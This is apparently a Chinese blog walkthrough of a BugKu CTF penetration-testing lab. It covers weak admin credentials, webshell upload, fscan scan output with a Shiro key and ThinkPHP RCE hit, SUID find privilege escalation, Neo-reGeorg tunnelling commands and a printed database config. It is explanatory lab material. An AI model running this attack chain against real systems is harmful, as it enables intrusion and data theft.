BugKu-渗透测试1

渗透测试1

题目信息:

image-20241023232221941

场景一

进入之后发现是一个IT教程网站,在远吗2里面找到flag(给了一个提示flag2只有管理员能看到)

image-20241023232850185

场景二

根据场景一中的提示只有管理员能看到flag2,思路是找到管理员页面,在url后面加上/admin回跳转到管理员登录界面http://101.132.175.132/admin-login-index.html用弱口令试一下admin,admin成功登录在基本设置处找到flag2

image-20241023234519034

场景三

在里面可以看到有上传配置在里面添加一下php,为了我们后面上传webshell更为方便一些,可以看到题目的提示“甲方的数据库被篡改了”。回到最初始的界面上发现有php教程里面能执行php代码,运行过之后会在后台产生一个php文件,直接在这写一个webshell试一下。

image-20241023235449340

在里面写入webshell

image-20241023235952256

用蚁剑链接在里面找到了数据库的用户名和密码

image-20241024000514781

在命令行里面查找flag发现有两个flag文件查看home目录下的flag文件发现场景三的flag

image-20241024001129687

场景四

在上面得到数据库的用户名和密码后在蚁剑里面链接一下数据库,发现flag4

image-20241024002104710

场景五

不会pwn就先放着

场景六

用nmap扫一下发现开放了很多端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nmap 101.132.175.132
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 00:51 CST
Nmap scan report for 101.132.175.132
Host is up (0.027s latency).
Not shown: 987 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
1434/tcp filtered ms-sql-m
4444/tcp filtered krb524
5800/tcp filtered vnc-http
5900/tcp filtered vnc
6129/tcp filtered unknown
8080/tcp open http-proxy
9999/tcp open abyss

Nmap done: 1 IP address (1 host up) scanned in 1.96 seconds

访问一下8080端口发现是一个登录界面

image-20241024005336521

发现是shiro框架在上面上传一个fscan对内网扫一下,首先使用ifconfig命令查看本地的ip再用fscan工具对内网进行一个扫描。在运行fscan前要先给fscan权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
./fscan -h 192.168.0.2/24 

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 192.168.0.2 is alive
(icmp) Target 192.168.0.1 is alive
(icmp) Target 192.168.0.3 is alive
(icmp) Target 192.168.0.4 is alive
[*] Icmp alive hosts len is: 4
192.168.0.1:22 open
192.168.0.4:3306 open
192.168.0.4:80 open
192.168.0.1:80 open
192.168.0.2:80 open
192.168.0.3:8080 open
192.168.0.1:8080 open
192.168.0.1:9999 open
192.168.0.2:9999 open
[*] alive ports len is: 9
start vulscan
[*] WebTitle http://192.168.0.3:8080 code:302 len:0 title:None 跳转url: http://192.168.0.3:8080/login;jsessionid=05FC2C14ABDA50B4BA1CFFFA76D2FE81
[*] WebTitle http://192.168.0.3:8080/login;jsessionid=05FC2C14ABDA50B4BA1CFFFA76D2FE81 code:200 len:2608 title:Login Page
[*] WebTitle http://192.168.0.1:8080 code:302 len:0 title:None 跳转url: http://192.168.0.1:8080/login;jsessionid=DD74E2AA0D647E18D6A3B82E66FBFD06
[*] WebTitle http://192.168.0.1:8080/login;jsessionid=DD74E2AA0D647E18D6A3B82E66FBFD06 code:200 len:2608 title:Login Page
[*] WebTitle http://192.168.0.1 code:200 len:59431 title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle http://192.168.0.2 code:200 len:59431 title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle http://192.168.0.4 code:200 len:8351 title:博客首页
[+] PocScan http://192.168.0.1:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[+] PocScan http://192.168.0.3:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[+] PocScan http://192.168.0.4 poc-yaml-thinkphp5023-method-rce poc1
已完成 8/9 [-] ssh 192.168.0.1:22 root 123qwe ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/9 [-] ssh 192.168.0.1:22 root Aa123456! ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/9 [-] ssh 192.168.0.1:22 admin P@ssw0rd ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/9 [-] ssh 192.168.0.1:22 admin sysadmin ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 9/9
[*] 扫描结束,耗时: 4m47.052220458s

在上面发现了shiro的key接下来可以直接用工具找flag

image-20241024020912656

在这里面可以执行命令但flag藏的比较深在这个目录下/BOOT-INF/classes/templates/robots.html直接查看就能得到flag

image-20241024021145320

这里给出了一个提示,flag7在home目录下,查看一下home目录

场景七

根据场景六里面的提示来做

image-20241024021341166

场景八

提权,这里用到的是suid提权,首先在里面传一个哥斯拉的内存马用哥斯拉进行链接。发现错在suid的find提权

image-20241024023332773

接着用find命令读取root用户下的flag

image-20241024023915474

场景九

根据题目提示需要进入到内网中去开始内网穿透使用Neo-reGeorg进行穿透

执行命令python3 .\neoreg.py generate -k pass会生成解析文件,上传一个php文件

image-20241024032014482

在蚁剑中上传,传到web目录下,接着执行python3 .\neoreg.py -k pass -u http://101.132.175.132/tunnel.php

image-20241024032129133

根据上面的信息在浏览器中配置一下代理

image-20241024032206540

直接访问192.168.0.4发现是一个博客主页,接着用Thinkphp工具GetShell

image-20241024040649435

用蚁剑进行链接

image-20241024040735841

有一个提示数据库

场景十

根据提示找数据库的配置信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

return [
// 数据库类型
'type' => 'mysql',
// 服务器地址
'hostname' => '127.0.0.1',
// 数据库名
'database' => 'aman',
// 用户名
'username' => 'aman',
// 密码
'password' => 'aman123',
// 端口
'hostport' => '',
// 连接dsn
'dsn' => '',
// 数据库连接参数
'params' => [],
// 数据库编码默认采用utf8
'charset' => 'utf8',
// 数据库表前缀
'prefix' => 'blog_',
// 数据库调试模式
'debug' => true,
// 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'deploy' => 0,
// 数据库读写是否分离 主从式有效
'rw_separate' => false,
// 读写分离后 主服务器数量
'master_num' => 1,
// 指定从服务器序号
'slave_no' => '',
// 是否严格检查字段是否存在
'fields_strict' => true,
// 数据集返回类型
'resultset_type' => 'array',
// 自动写入时间戳字段
'auto_timestamp' => false,
// 时间字段取出后的默认时间格式
'datetime_format' => 'Y-m-d H:i:s',
// 是否需要进行SQL性能分析
'sql_explain' => false,
];

就到这吧,太卡了,内网穿进去之后卡的要死,一直出问题烦死了不玩了


BugKu-渗透测试1
https://www.mrdang.icu/2024/10/24/BugKu-渗透测试1/
作者
Mr.Dang
发布于
2024年10月24日
许可协议